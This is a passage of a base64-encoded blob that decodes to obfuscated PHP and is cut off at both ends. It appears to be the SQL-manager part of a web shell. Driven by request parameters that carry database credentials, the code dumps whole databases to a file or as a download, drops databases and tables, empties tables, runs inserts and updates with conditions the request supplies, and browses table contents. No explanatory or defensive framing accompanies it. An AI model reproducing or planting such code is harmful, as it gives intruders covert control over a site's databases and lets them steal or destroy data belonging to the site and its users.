LCJzcWxfYWN0Ij0+InRhYmxlX2FjdCIsInNxbF9kYiIpLHozbSgic2VsX3RhYmxlIiwkdGFibGVfbGlzdCwiMCIsMSkuejNtKCJ0YWJsZV9hY3QiLCR0YWJsZV9hY3Rpb25zLCIxIikuejhiKHo5eSgiOTIiKSwiNyIpKSkpLCIyIik7IH0gfSBlY2hvIHozcSgoQGlzc2V0KCR0YWJsZV90YWJsZSk/YXJyYXkoJGRiX3RhYmxlLCR0YWJsZV90YWJsZSk6JGRiX3RhYmxlKSk7IGlmKCRzcWxfYWN0PT0iZHJvcGRiIil7IGVjaG8gejZzKCk7IGVjaG8gejEwdyh6N3UoejZsKHo3bih6OXkoIjQzNyIsJHNxbF9kYikpLno1eChhcnJheSgiYWN0Ij0+InNxbCIsImQiLCJzcWxfc2VydmVyIiwic3FsX3VzZXIiLCJzcWxfcGFzcyIsInNxbF9wb3J0Iiwic3FsX2VuZ2luZSIsInNxbF9hY3QiPT4iZGJfYWN0IiwiZGJfYWN0Ij0+ImRyb3AiLCJzcWxfZGIiLCJkcm9wX2NvbmZpcm0iPT4iMSIpLHo4Yih6OXkoIjIxIiksIjciKSkuejl4KCkuejV4KCRiYWNrX2Zvcm1fYWN0aW9ucyx6OGIoejl5KCIyMiIpLCc3JykpKSksIjIiKTsgZWNobyB6NnMoKTsgfSBlbHNlaWYoJHNxbF9hY3Q9PSJkcm9wdGFibGUiKXsgZWNobyB6NnMoKTsgZWNobyB6MTB3KHo3dSh6NmwoejduKHo5eSgiNDM4Iiwkc2VsX3RhYmxlKSkuejV4KGFycmF5KCJhY3QiPT4ic3FsIiwiZCIsInNxbF9zZXJ2ZXIiLCJzcWxfdXNlciIsInNxbF9wYXNzIiwic3FsX3BvcnQiLCJzcWxfZW5naW5lIiwic3FsX2FjdCI9PiJ0YWJsZV9hY3QiLCJ0YWJsZV9hY3QiPT4iZHJvcCIsInNxbF9kYiIsInNlbF90YWJsZSIsImRyb3BfY29uZmlybSI9PiIxIiksejhiKHo5eSgiMjEiKSwiNyIpKS56OXgoKS56NXgoJGJhY2tfZm9ybV9hY3Rpb25zLHo4Yih6OXkoIjIyIiksJzcnKSkpKSwiMiIpOyBlY2hvIHo2cygpOyB9IGVsc2VpZigkc3FsX2FjdD09ImVtcHR5Iil7IGVjaG8gejZzKCk7IGVjaG8gejEwdyh6N3UoejZsKHo3bih6OXkoIjQzOSIsJHNlbF90YWJsZSkpLno1eChhcnJheSgiYWN0Ij0+InNxbCIsImQiLCJzcWxfc2VydmVyIiwic3FsX3VzZXIiLCJzcWxfcGFzcyIsInNxbF9wb3J0Iiwic3FsX2VuZ2luZSIsInNxbF9hY3QiPT4idGFibGVfYWN0IiwidGFibGVfYWN0Ij0+ImVtcHR5Iiwic3FsX2RiIiwic2VsX3RhYmxlIiwiZW1wdHlfY29uZmlybSI9PiIxIiksejhiKHo5eSgiMjEiKSwiNyIpKS56OXgoKS56NXgoJGJhY2tfZm9ybV9hY3Rpb25zLHo4Yih6OXkoIjIyIiksJzcnKSkpKSwiMiIpOyBlY2hvIHo2cygpOyB9IGVsc2VpZigkc3FsX2FjdD09ImR1bXAiKXsgaWYoIUBpc3NldCgkZHVtcF9maWxlbmFtZSkpICRkdW1wX2ZpbGVuYW1lPSR0ZW1wZGlyLiJkdW1wXyIuQGdldGVudigiU0VSVkVSX05BTUUiKS4iX2RiXyIuQGRhdGUoImQtbS1ZX0gtaS1zIikuIi5zcWwiOyBpZihAaXNzZXQoJHNxbF9kYikmJiFAZW1wdHkoJHNxbF9kYikpeyAkc3FsLT5iYXNlPSRzcWxfZGI7IGlmKCRzcWwtPnNlbGVjdF9kYigpKXsgJHRhYmxlX2xpc3Q9YXJyYXkoKTsgJHNxbC0+cXVlcnkoJ1NIT1cgVEFCTEVTIEZST00gJy4kc3FsX2RiLic7Jyk7IGlmKCRzcWwtPmdldF9yZXN1bHQoKSl7IGZvcigkaT0wOyRpPCRzcWwtPm51bV9yb3dzOyRpKyspeyBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRyaz0+JHJ2KXsgJHRhYmxlX2xpc3RbXT0kcnY7IH0gfSB9IH0gfSBpZighQGlzc2V0KCRzcWxfdGFibGVzKXx8QGVtcHR5KCRzcWxfdGFibGVzKSl7IGlmKEBpc3NldCgkc2VsX3RhYmxlKSYmIUBlbXB0eSgkc2VsX3RhYmxlKSl7ICRzcWxfdGFibGVzPSRzZWxfdGFibGU7IH0gZWxzZSB7ICRzcWxfdGFibGVzPShAY291bnQoJHRhYmxlX2xpc3QpPjA/QGltcGxvZGUoIiwiLCR0YWJsZV9saXN0KToiIik7IH0gfSBlbHNlaWYoQGlzc2V0KCR0YWJsZV9saXN0KSYmQGlzX2FycmF5KCR0YWJsZV9saXN0KSkgeyAkdG1wX3RhYmxlcz1AZXhwbG9kZSgiLCIsJHNxbF90YWJsZXMpOyAkc3FsX3RhYmxlcz0iIjsgZm9yZWFjaCgkdG1wX3RhYmxlcyBhcyAkdG1wX3RhYmxlKXsgJHRtcF90YWJsZT1AdHJpbSgkdG1wX3RhYmxlKTsgaWYoQGluX2FycmF5KCR0bXBfdGFibGUsJHRhYmxlX2xpc3QpKXsgJHNxbF90YWJsZXMuPSR0bXBfdGFibGUuIiwiOyB9IGVsc2UgeyBicmVhazsgfSB9IGlmKEBlbXB0eSgkc3FsX3RhYmxlcykpICRzcWxfdGFibGVzPUBpbXBsb2RlKCIsIiwkdGFibGVfbGlzdCk7IH0gZWNobyB6M3Eoejl5KCI0NDAiKSk7IGVjaG8gejltKCIyIikuejV4KGFycmF5KCJhY3QiPT4ic3FsIiwiZCIsInNxbF9zZXJ2ZXIiLCJzcWxfdXNlciIsInNxbF9wYXNzIiwic3FsX3BvcnQiLCJzcWxfZW5naW5lIiwic3FsX2FjdCI9PiJkdW1wIiwiZHVtcF9jb25maXJtIj0+IjEiKSwgejViKCkuIHo3dSh6NXQoejl5KCI0NDEiKSkuejljKHozbSgic3FsX2RiIiwkZGJfbGlzdCwiNyIsMSkpKS4gejd1KHo1dCh6OXkoIjQ0MiIpKS56OWMoejV3KCJzcWxfdGFibGVzIiwiNSIpLihAaXNzZXQoJHNxbF90YWJsZXMpP0BodG1sc3BlY2lhbGNoYXJzKCRzcWxfdGFibGVzKToiIikuejVxKCkpKS4gejd1KHo1dCh6OXkoIjQ0MyIpKS56OWMoejV5KCJkdW1wX2ZpbGVuYW1lIiwkZHVtcF9maWxlbmFtZSwiNyIpKSkuIHo3dSh6NXQoejl4KCkpLno5Yyh6NXUoInNxbF9zYXZlMmZpbGUiLHo5eSgiNDQ0IiksInNxbF9zYXZlMmZpbGUiKS56OXgoKS56NXUoInNxbF9kb3dubG9hZCIsejl5KCI0NDUiKSwic3FsX2Rvd25sb2FkIikpKS4gejd1KHo1dCh6OXgoKSkuejljKHo4Yih6OXkoIjQ0NiIpLCI3IikpKS4gejViKCkpLiB6MTBxKCk7IGlmKEBpc3NldCgkZHVtcF9jb25maXJtKSYmJGR1bXBfY29uZmlybSl7ICRmcD0wOyBpZihAaXNzZXQoJHNxbF9zYXZlMmZpbGUpJiYkc3FsX3NhdmUyZmlsZT09IjEiJiZAaXNzZXQoJGR1bXBfZmlsZW5hbWUpJiYhQGVtcHR5KCRkdW1wX2ZpbGVuYW1lKSl7ICRmcD1AZm9wZW4oJGR1bXBfZmlsZW5hbWUsInciKTsgfSAkZHVtcGluZ19hcnI9YXJyYXkoKTsgJHRtcF90YWJsZXM9QGV4cGxvZGUoIiwiLCRzcWxfdGFibGVzKTsgZm9yZWFjaCgkdG1wX3RhYmxlcyBhcyAkdG1wX3RhYmxlKXsgJHRtcF90YWJsZT1AdHJpbSgkdG1wX3RhYmxlKTsgJGR1bXBpbmdfYXJyW109JHRtcF90YWJsZTsgfSAkZHVtcGluZ19hcnI9QGFycmF5X3VuaXF1ZSgkZHVtcGluZ19hcnIpOyAkc3FsLT5iYXNlPSRzcWxfZGI7IGlmKCEkc3FsLT5zZWxlY3RfZGIoKSl7IGVjaG8gejNxKHo5eSgiNDQ3IikpOyB9ZWxzZWlmKEBjb3VudCgkZHVtcGluZ19hcnIpPDEpeyBlY2hvIHozcSh6OXkoIjQ0OCIpKTsgfWVsc2V7ICRzcWxfZHVtcGVkPSIiOyBmb3JlYWNoKCRkdW1waW5nX2FyciBhcyAkZHVtcF90YWJsZSl7IGlmKCRzcWwtPmR1bXAoJGR1bXBfdGFibGUpKXsgZm9yZWFjaCgkc3FsLT5kdW1wIGFzICR2KSAkc3FsX2R1bXBlZC49JHYuIlxyXG4iOyB9IH0gaWYoJHNxbF9kdW1wZWQhPSIiKXsgaWYoQGlzc2V0KCRzcWxfZG93bmxvYWQpJiYkc3FsX2Rvd25sb2FkPT0iMSIpeyBAb2JfY2xlYW4oKTsgQGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgQGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuQHN0cmxlbigkc3FsX2R1bXBlZCkpOyBAaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuQGJhc2VuYW1lKCRkdW1wX2ZpbGVuYW1lKS4iXCI7Iik7IGVjaG8gJHNxbF9kdW1wZWQ7IGV4aXQoKTsgfSBpZighQGlzc2V0KCRzcWxfc2F2ZTJmaWxlKXx8JHNxbF9zYXZlMmZpbGUhPSIxIil7IGVjaG8gejltKCcyJykuejZmKCkuejZxKCkuejV3KCcnLCcxJykuQGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kdW1wZWQpLno1cSgpLno3ZigpLno3eSgpLnoxMHEoKS56NnMoKTsgfWVsc2VpZigkZnB8fEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykpeyBpZihAZndyaXRlKCRmcCwkc3FsX2R1bXBlZCkgb3IgQGZwdXRzKCRmcCwkc3FsX2R1bXBlZCkgb3IgQGZpbGVfcHV0X2NvbnRlbnRzKCRkdW1wX2ZpbGVuYW1lLCRzcWxfZHVtcGVkKSl7IGVjaG8gejNxKHo5eSgiNDQ5IiwkZHVtcF9maWxlbmFtZSkpOyB9ZWxzZXsgZWNobyB6M3Eoejl5KCI0NTAiKSk7IH0gfWVsc2V7IGVjaG8gejNxKHo5eSgiNDUwIikpOyB9IH0gfSB9IH0gaWYoJHNxbF9hY3Q9PSJ0YWJsZV9hY3QiJiZAaXNzZXQoJHRhYmxlX2FjdCkmJigkdGFibGVfYWN0PT0iYnJvd3NlInx8JHRhYmxlX2FjdD09Imluc2VydCIpJiZAaXNzZXQoJHNlbF90YWJsZSkmJiFAZW1wdHkoJHNlbF90YWJsZSkpeyAkY3Jvd3M9JHNxbC0+Y291bnRfcm93cygkc2VsX3RhYmxlKTsgJHNxbC0+cGFyc2VfZmllbGRzKCRzZWxfdGFibGUpOyAkY2ZpZWxkcz0kc3FsLT5udW1fZmllbGRzOyAkZmllbGRzPSRzcWwtPmNvbHVtbnM7IGlmKCR0YWJsZV9hY3Q9PSJpbnNlcnQiKXsgaWYoQGlzc2V0KCRzcWxfdGJsX2luc2VydF9yYWRpbykmJiFAZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3JhZGlvKSl7IGlmKCRzcWxfdGJsX2luc2VydF9yYWRpbz09MSl7ICRrZXlzPSIiOyAkYWtleXM9QGFycmF5X2tleXMoJHNxbF90YmxfaW5zZXJ0KTsgZm9yZWFjaCgkYWtleXMgYXMgJHYpeyAka2V5cy49ImAiLkBhZGRzbGFzaGVzKCR2KS4iYCwgIjsgfSBpZighQGVtcHR5KCRrZXlzKSl7ICRrZXlzPUBzdWJzdHIoJGtleXMsMCxAc3RybGVuKCRrZXlzKS0yKTsgfSAkdmFsdWVzPSIiOyAkaT0wOyBmb3JlYWNoKEBhcnJheV92YWx1ZXMoJHNxbF90YmxfaW5zZXJ0KSBhcyAkdil7IGlmKCRmdW5jdD0kc3FsX3RibF9pbnNlcnRfZnVuY3RzWyRha2V5c1skaV1dKXsgJHZhbHVlcy49JGZ1bmN0LiIgKCI7IH0gJHZhbHVlcy49IiciLkBhZGRzbGFzaGVzKCR2KS4iJyI7IGlmKCRmdW5jdCl7ICR2YWx1ZXMuPSIpIjsgfSAkdmFsdWVzLj0iLCAiOyAkaSsrOyB9IGlmKCFAZW1wdHkoJHZhbHVlcykpeyAkdmFsdWVzPUBzdWJzdHIoJHZhbHVlcywwLEBzdHJsZW4oJHZhbHVlcyktMik7IH0gJHNxbC0+cXVlcnkoIklOU0VSVCBJTlRPIGAiLiRzZWxfdGFibGUuImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyIpOyB9ZWxzZWlmKCRzcWxfdGJsX2luc2VydF9yYWRpbz09Mil7ICRzZXQ9ejBrKCRzcWxfdGJsX2luc2VydCwiLCAiLCRzcWxfdGJsX2luc2VydF9mdW5jdHMpOyAkc3FsLT5xdWVyeSgiVVBEQVRFIGAiLiRzZWxfdGFibGUuImAgU0VUICIuJHNldC4iIFdIRVJFICIuJHNxbF90YmxfaW5zZXJ0X3EuIiBMSU1JVCAxOyIpOyB9ICR0YWJsZV9hY3Q9ImJyb3dzZSI7IH1lbHNleyBlY2hvIHozcShhcnJheSgiSU5TRVJUIElOVE8gVEFCTEUgIi4kc2VsX3RhYmxlKSwiMSIpOyBpZighQGlzc2V0KCRzcWxfdGJsX2luc2VydCl8fCFAaXNfYXJyYXkoJHNxbF90YmxfaW5zZXJ0KSl7ICRzcWxfdGJsX2luc2VydD1hcnJheSgpOyB9IGlmKCFAZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKXsgJHNxbC0+cXVlcnkoIlNFTEVDVCAqIEZST00gYCIuJHNlbF90YWJsZS4iYCBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiKTsgJHZhbHVlcz1AbXlzcWxfZmV0Y2hfYXNzb2MoJHNxbC0+cmVzKTsgQG15c3FsX2ZyZWVfcmVzdWx0KCRzcWwtPnJlcyk7IH1lbHNleyAkdmFsdWVzPWFycmF5KCk7IH0gZWNobyB6OWsoKS56OXYoImFjdCIsInNxbCIpLno5digic3FsX3NlcnZlciIpLno5digic3FsX3VzZXIiKS56OXYoInNxbF9wYXNzIikuejl2KCJzcWxfcG9ydCIpLno5digic3FsX2VuZ2luZSIpLno5digiZCIpLno5digic3FsX2FjdCIsInRhYmxlX2FjdCIpLno5digidGFibGVfYWN0IiwiaW5zZXJ0Iikuejl2KCJzZWxfdGFibGUiKS56OXYoInNxbF9kYiIpLno5digic3FsX3RibF9pbnNlcnRfcSIpLno5bSgiMiIpLno3dSh6OWMoIkZpZWxkIiwiMTMiLCIyIikuejljKCJUeXBlIiwiMTMiKS56OWMoIkZ1bmN0aW9uIiwiMTMiKS56OWMoIlZhbHVlIiwiMTMiLCIzIikpOyAkc3FsLT5xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSBgIi4kc2VsX3RhYmxlLiJgOyIpOyAkc3FsLT5nZXRfcmVzdWx0KCk7IGZvcigkaT0wOyAkaSA8ICRzcWwtPm51bV9yb3dzOyAkaSsrKXsgJGZpZWxkPSRzcWwtPnJvd3NbJGldOyAkbmFtZT0kZmllbGRbIkZpZWxkIl07IGlmKGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSl7ICR2PSIiOyB9IGVjaG8gejlkKHo5Yyh6N24oQGh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpKSwiMTQiLCIyIikuejljKCRmaWVsZFsiVHlwZSJdLCIxNCIpLno5Yyh6M20oInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLkBodG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iXSIsYXJyYXkoICIiPT4iIiwgIlBBU1NXT1JEIj0+IlBBU1NXT1JEIiwgIk1ENSI9PiJNRDUiLCAiRU5DUllQVCI9PiJFTkNSWVBUIiwgIkFTQ0lJIj0+IkFTQ0lJIiwgIkNIQVIiPT4iQ0hBUiIsICJSQU5EIj0+IlJBTkQiLCAiTEFTVF9JTlNFUlRfSUQiPT4iTEFTVF9JTlNFUlRfSUQiLCAiQ09VTlQiPT4iQ09VTlQiLCAiQVZHIj0+IkFWRyIsICJTVU0iPT4iU1VNIiwgIiAiPT4iLS0tLS0tLS0iLCAiU09VTkRFWCI9PiJTT1VOREVYIiwgIkxDQVNFIj0+IkxDQVNFIiwgIlVDQVNFIj0+IlVDQVNFIiwgIk5PVyI9PiJOT1ciLCAiQ1VSREFURSI9PiJDVVJEQVRFIiwgIkNVUlRJTUUiPT4iQ1VSVElNRSIsICJGUk9NX0RBWVMiPT4iRlJPTV9EQVlTIiwgIkZST01fVU5JWFRJTUUiPT4iRlJPTV9VTklYVElNRSIsICJQRVJJT0RfQUREIj0+IlBFUklPRF9BREQiLCAiUEVSSU9EX0RJRkYiPT4iUEVSSU9EX0RJRkYiLCAiVE9fREFZUyI9PiJUT19EQVlTIiwgIlVOSVhfVElNRVNUQU1QIj0+IlVOSVhfVElNRVNUQU1QIiwgIlVTRVIiPT4iVVNFUiIsICJXRUVLREFZIj0+IldFRUtEQVkiLCAiQ09OQ0FUIj0+IkNPTkNBVCIpLCI1IiksIjE0IikuejljKHo2dSgic3FsX3RibF9pbnNlcnRbIi4oQGlzc2V0KCRuYW1lKT9AaHRtbHNwZWNpYWxjaGFycygkbmFtZSk6IiIpLiJdIiwoQGlzc2V0KCR2YWx1ZXNbIiRuYW1lIl0pP0BodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZXNbIiRuYW1lIl0pOiIiKSwiNyIpLCIxNCIsIjMiKSwoJGklMj8nMCc6JzEnKSk7IH0gZWNobyB6MTBxKCk7ICRpcmFkaW89JzxpbnB1dCB0eXBlPSJyYWRpbyIgaWQ9Imluc2VydCIgc3R5bGU9InZlcnRpY2FsLWFsaWduOiBtaWRkbGU7IiBuYW1lPSJzcWxfdGJsX2luc2VydF9yYWRpbyIgdmFsdWU9IjEiJy4oQGVtcHR5KCRzcWxfdGJsX2luc2VydF9xKT8iIGNoZWNrZWQiOiIiKS4nPjxsYWJlbCBmb3I9Imluc2VydCI+Jy56OXkoIjQwNSIpLic8L2xhYmVsPic7IGlmKCFAZW1wdHkoJHNxbF90YmxfaW5zZXJ0X3EpKXsgJGlyYWRpbyAuPSB6OXgoKS56OXkoIjQwNiIpLno5eCgpLic8aW5wdXQgdHlwZT0icmFkaW8iIGlkPSJzYXZlIiBzdHlsZT0idmVydGljYWwtYWxpZ246IG1pZGRsZTsiIG5hbWU9InNxbF90YmxfaW5zZXJ0X3JhZGlvIiB2YWx1ZT0iMiIgY2hlY2tlZD48bGFiZWwgZm9yPSJzYXZlIj4nLno5eSgiNDA3IikuJzwvbGFiZWw+JzsgJGlyYWRpbyAuPSB6OXYoInNxbF90YmxfaW5zZXJ0X3EiLEBodG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsX2luc2VydF9xKSk7IH0gZWNobyB6M3EoJGlyYWRpby56OXgoIjMiKS56OGIoejl5KCI0MDgiKSwiNyIpKTsgZWNobyB6OWwoKTsgfSB9IGlmKCR0YWJsZV9hY3Q9PSJicm93c2UiKXsgaWYoIUBpc3NldCgkc3FsX2Zyb20pfHwhQGlzX251bWVyaWMoJHNxbF9mcm9tKSkgJHNxbF9mcm9tPTA7IGlmKCFAaXNzZXQoJHNxbF9saW1pdCl8fCFAaXNfbnVtZXJpYygkc3FsX2xpbWl0KSkgJHNxbF9saW1pdD01MDsgaWYoIUBpc3NldCgkc3FsX3BhZ2UpfHwhQGlzX251bWVyaWMoJHNxbF9wYWdlKSkgJHNxbF9wYWdlPTA7ICRwc3FsX3NvcnQ9ejVyKCRzcWxfc29ydCk7IGlmKCRwc3FsX3NvcnRbMV0hPSdhJyl7ICRwc3FsX3NvcnRbMV09J2QnOyB9IGVsc2UgeyAkcHNxbF9zb3J0WzFdPSdhJzsgfSBpZigkcHNxbF9zb3J0WzBdPigkY2ZpZWxkcy0xKSkgJHBzcWxfc29ydFswXT0nMCc7ICR2PSRwc3FsX3NvcnRbMF07IGlmKCRjcm93cz4kc3FsX2xpbWl0KXsgJHBhZ2VzPUBjZWlsKCRjcm93cy8kc3FsX2xpbWl0KTsgJHRtcHNvcnQ9IiI7IGlmKEBpc19hcnJheSgkZmllbGRzKSYmQGlzc2V0KCRmaWVsZHNbJHBzcWxfc29ydFswXV0pKXsgJHRtcHNvcnQ9JyBPUkRFUiBCWSBgJy4kZmllbGRzWyRwc3FsX3NvcnRbMF1dLidgICcuKCRwc3FsX3NvcnRbMV09PSJhIj8nQVNDJzonREVTQycpOyB9ICR0YWJsZV9saW1pdD0kdG1wc29ydC4nIExJTUlUICcuKCRzcWxfbGltaXQqJHNxbF9wYWdlKS4nLCcuJHNxbF9saW1pdDsgfSBlbHNlIHsgJHRhYmxlX2xpbWl0PScnOyAkcGFnZXM9MDsgfSAkYXJfcGFnZXM9YXJyYXkoKTsgZm9yKCRpPTA7ICRpPCRwYWdlczsgJGkrKyl7ICRhcl9wYWdlc1skaV09ejl5KCIzOTciKS4iICIuKCRpKzEpOyB9IGlmKEBjb3VudCgkYXJfcGFnZXMpPDEpICRhcl9wYWdlcz1hcnJheSgiMCI9Pno5eSgiMzk3IikuIiAxIik7IGVjaG8gejNxKGFycmF5KHo5eSgiMzk1IixhcnJheSgkc2VsX3RhYmxlLCRjZmllbGRzLCRjcm93cykpLHoxMHcoejlkKHo2eigoJHNxbF9wYWdlPjAgPyB6NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiwic3FsX3NlcnZlciIsInNxbF91c2VyIiwic3FsX3Bhc3MiLCJzcWxfcG9ydCIsInNxbF9lbmdpbmUiLCJzcWxfYWN0IiwidGFibGVfYWN0Iiwic3FsX2RiIiwic2VsX3RhYmxlIiwic3FsX3BhZ2UiPT4oJHNxbF9wYWdlPT0iMSI/Ik5VTEwiOigkc3FsX3BhZ2UtMSkpKSx6OGIoejl5KCIzOTYiKSwiNyIpKSA6IHo4Yih6OXkoIjM5NiIpLCI3IikpLiB6NXgoYXJyYXkoImFjdCI9PiJzcWwiLCJkIiwic3FsX3NlcnZlciIsInNxbF91c2VyIiwic3FsX3Bhc3MiLCJzcWxfcG9ydCIsInNxbF9lbmdpbmUiLCJzcWxfYWN0IiwidGFibGVfYWN0Iiwic3FsX2RiIiwic2VsX3RhYmxlIiksejNtKCJzcWxfcGFnZSIsJGFyX3BhZ2VzLCIxIiwxKS56OGIoejl5KCIzOTgiKSwiNyIpKS4gKCRzcWxfcGFnZTwoJHBhZ2VzLTEpID8gejV4KGFycmF5KCJhY3QiPT4ic3FsIiwiZCIsInNxbF9zZXJ2ZXIiLCJzcWxfdXNlciIsInNxbF9wYXNzIiwic3FsX3BvcnQiLCJzcWxfZW5naW5lIiwic3FsX2FjdCIsInRhYmxlX2FjdCIsInNxbF9kYiIsInNlbF90YWJsZSIsInNxbF9wYWdlIj0+KCRzcWxfcGFnZSsxKSksejhiKHo5eSgiMzk5IiksIjciKSkgOiB6OGIoejl5KCIzOTkiKSwiNyIpKSkpLCIyIikpLCIxIik7ICRzcWwtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHNlbF90YWJsZS4kdGFibGVfbGltaXQuJzsnKTsgaWYoJHNxbC0+Z2V0X3Jlc3VsdCgpKXsgZWNobyB6OW0oJzInKS56N28oKS56N2ooKS56NXooJycsIjAiKS56OW0oIjIiKS56N28oKS56N2ooKTsgZWNobyB6OW0oJzInKTsgZWNobyB6NmYoKTsgZm9yKCRpPTA7JGk8QGNvdW50KCRzcWwtPmNvbHVtbnMpOyRpKyspeyBlY2hvICgkaT09MD96OWMoejl5KCI2MiIpLCIxMyIsIjIiKToiIikuejljKHo1eChhcnJheSgiYWN0Ij0+InNxbCIsImQiLCJzcWxfc2VydmVyIiwic3FsX3VzZXIiLCJzcWxfcGFzcyIsInNxbF9wb3J0Iiwic3FsX2VuZ2luZSIsInNxbF9hY3QiLCJ0YWJsZV9hY3QiLCJzcWxfZGIiLCJzZWxfdGFibGUiLCJzcWxfcGFnZSIsInNxbF9zb3J0Ij0+KCRwc3FsX3NvcnRbMF09PSIkaSI/IiRpIi4oJHBzcWxfc29ydFsxXT09ImEiPyJkIjoiYSIpOiIkaSIuJHBzcWxfc29ydFsxXSkpLHo4Yigkc3FsLT5jb2x1bW5zWyRpXS4oJHBzcWxfc29ydFswXT09IiRpIj8nICcuKCRwc3FsX3NvcnRbMV09PSJhIj8nJnVhcnI7JzonJmRhcnI7Jyk6JycpLCczJykpLCIxMyIsKCRpPT0oQGNvdW50KCRzcWwtPmNvbHVtbnMpLTEpPyczJzonJykpOyB9IGVjaG8gejd5KCk7ICRwcmludF9hcnI9YXJyYXkoKTsgZm9yKCRpPTA7JGk8JHNxbC0+bnVtX3Jvd3M7JGkrKyl7IGlmKEBpc19hcnJheSgkc3FsLT5yb3dzWyRpXSkpeyAkdG1wYXJyPWFycmF5KCk7IGZvcmVhY2goJHNxbC0+cm93c1skaV0gYXMgJHJrPT4kcnYpeyAkdG1wYXJyW109JHJ2OyB9ICRwcmludF9hcnJbXT0kdG1wYXJyOyB9IH0gQHVzb3J0KCRwcmludF9hcnIsInoyYiIpOyBpZigkcHNxbF9zb3J0WzFdPT0iZCIpeyAkcHJpbnRfYXJyPUBhcnJheV9yZXZlcnNlKCRwcmludF9hcnIpOyB9IGZvcigkaT0wOyRpPEBjb3VudCgkcHJpbnRfYXJyKTskaSsrKXsgZWNobyB6NmYoKCRpJTI/JzAnOicxJykpOyAkY3I9MDsgZm9yZWFjaCgkcHJpbnRfYXJyWyRpXSBhcyAkcnYpeyAkdz0iIjsgZm9yKCRhPTA7JGE8JHNxbC0+bnVtX2ZpZWxkczskYSsrKXsgJHcuPSIgYCIuJHNxbC0+Y29sdW1uc1skYV0uImAgPSAnIi5AYWRkc2xhc2hlcygkcHJpbnRfYXJyWyRpXVskYV0pLiInIEFORCI7IH0gaWYoJGE+MCkgJHc9QHN1YnN0cigkdywwLEBzdHJsZW4oJHcpLTMpOyBlY2hvICgkY3I9PTA/ejljKCI8bm9icj4iLno1eChhcnJheSgiYWN0Ij0+InNxbCIsImQiLCJzcWxfc2VydmVyIiwic3FsX3VzZXIiLCJzcWxfcGFzcyIsInNxbF9wb3J0Iiwic3FsX2VuZ2luZSIsInNxbF9hY3QiPT4idGFibGVfYWN0Iiwic3FsX2RiIiwic2VsX3RhYmxlIiwic3FsX3RibF9pbnNlcnRfcSI9PiR3KSx6M20oInRhYmxlX2FjdCIsYXJyYXkoImluc2VydCI9PiJFZGl0IiwiZGVsZXRlIj0+IkRlbGV0ZSIpLCIzIikuejhiKCImcmFxdW87IiwiNiIpKS4iPC9ub2JyPiIsIjE0IiwiMjgiKToiIikuejljKChAaXNfbnVsbCgkcnYpPydOVUxMJzpAaHRtbHNwZWNpYWxjaGFycygkcnYpKSwiMTQiLCgkY3I9PShAY291bnQoJHByaW50X2FyclskaV0pLTEpPyczJzonJykpOyAkY3IrKzsgfSBlY2hvIHo3eSgpOyB9IGVjaG8gejEwcSgpLno3ZigpLno3eSgpLnoxMHEoKS56NWgoKS56N2YoKS56N3koKS56MTBxKCk7IH0gfSB9IGVsc2VpZigkc3FsX2FjdD09ImRiX2FjdCImJkBpc3NldCgkZGJfYWN0KSYmJGRiX2FjdD09InNlbGVjdCImJkBpc3NldCgkc3FsX2RiKSYmIUBlbXB0eSgkc3FsX2RiKSkgeyBlY2hvIHozcSh6OXkoIjM2NiIsJHNxbF9kYiksIjEiKTsgJHNxbC0+cXVlcnkoJ1NIT1cgVEFCTEUgU1RBVFVTOycpOyBpZigkc3FsLT5nZXRfcmVzdWx0KCkpeyAkcHNxbF9zb3J0PXo1cigkc3FsX3NvcnQpOyBpZigkcHNxbF9zb3J0WzFdIT0nYScpeyAkcHNxbF9zb3J0WzFdPSdkJzsgfSBlbHNlIHsgJHBzcWxfc29ydFsxXT0nYSc7IH0gaWYoJHBzcWxfc29ydFswXT49JHNxbC0+bnVtX2ZpZWxkcykgJHBzcWxfc29ydFswXT0nMCc7ICR2PSRwc3FsX3NvcnRbMF07IGVjaG8gejltKCcyJykuejdvKCkuejdqKCkuejV6KCcnLCIwIikuejltKCIyIikuejdvKCkuejdqKCk7IGVjaG8gejltKCcyJykuejZmKCk7IGZvcigkaT0wOyRpPCRzcWwtPm51bV9maWVsZHM7JGkrKyl7IGVjaG8gejljKHo1eChhcnJheSgiYWN0Ij0+InNxbCIsImQiLCJzcWxfc2VydmVyIiwic3FsX3VzZXIiLCJzcWxfcGFzcyIsInNxbF9wb3J0Iiwic3FsX2VuZ2luZSIsInNxbF9hY3QiLCJkYl9hY3QiLCJzcWxfZGIiLCJzZWxfdGFibGUiLCJzcWxfcGFnZSIsInNxbF9zb3J0Ij0+KCRwc3FsX3NvcnRbMF09PSIkaSI/IiRpIi4oJHBzcWxfc29ydFsxXT09ImEiPyJkIjoiYSIpOiIkaSIuJHBzcWxfc29ydFsxXSkpLHo4YigoJGk9PTA/IlRhYmxlICI6IiIpLiRzcWwtPmNvbHVtbnNbJGldLigkcHNxbF9zb3J0WzBdPT0iJGkiPycgJy4oJHBzcWxfc29ydFsxXT09ImEiPycmdWFycjsnOicmZGFycjsnKTonJyksJzMnKSksIjEzIiwoJGk9PTA/IjIiOigkaT09KCRzcWwtPm51bV9maWVsZHMtMSk/JzMnOicnKSkpLigkaT09MD96OWMoejl5KCIzNjkiKSwiMTMiLCI4Iik6JycpOyB9IGVjaG8gejd5KCk7ICRwcmludF9hcnI9YXJyYXkoKTsgZm9yKCRpPTA